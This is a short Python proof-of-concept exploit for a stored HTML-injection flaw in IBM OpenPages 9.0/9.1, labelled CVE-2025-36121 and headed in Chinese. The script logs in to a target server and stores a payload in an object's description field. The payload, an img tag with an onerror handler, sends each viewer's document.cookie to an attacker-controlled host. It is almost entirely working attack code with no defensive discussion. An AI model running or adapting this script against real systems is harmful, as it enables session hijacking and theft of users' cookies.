CVE-2025-36121 IBM OpenPages HTML注入漏洞

import requests import json # CVE-2025-36121 PoC - IBM OpenPages HTML Injection # Target: IBM OpenPages 9.0/9.1 # Attack Type: Stored HTML Injection TARGET_URL = "https://vulnerable-server:9443/oraclecpapi" USERNAME = "attacker_account" PASSWORD = "attacker_password" # Malicious HTML/JavaScript payload PAYLOAD = '''<img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie">''' def login(): """Authenticate and obtain session token""" session = requests.Session() login_url = f"{TARGET_URL}/auth/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=data, verify=False) if response.status_code == 200: return session return None def inject_html(session): """Inject malicious HTML into vulnerable field""" # Target endpoint varies based on application configuration inject_url = f"{TARGET_URL}/api/v1/objects/create" headers = {"Content-Type": "application/json"} data = { "objectType": "observation", "description": PAYLOAD, # Vulnerable field "category": "risk" } response = session.post(inject_url, json=data, headers=headers, verify=False) return response.status_code == 200 def main(): print("CVE-2025-36121 PoC - IBM OpenPages HTML Injection") session = login() if session: if inject_html(session): print("[+] HTML injection successful!") print("[*] Payload stored. Victims viewing this content will trigger the payload.") else: print("[-] Injection failed.") else: print("[-] Authentication failed.") if __name__ == "__main__": main()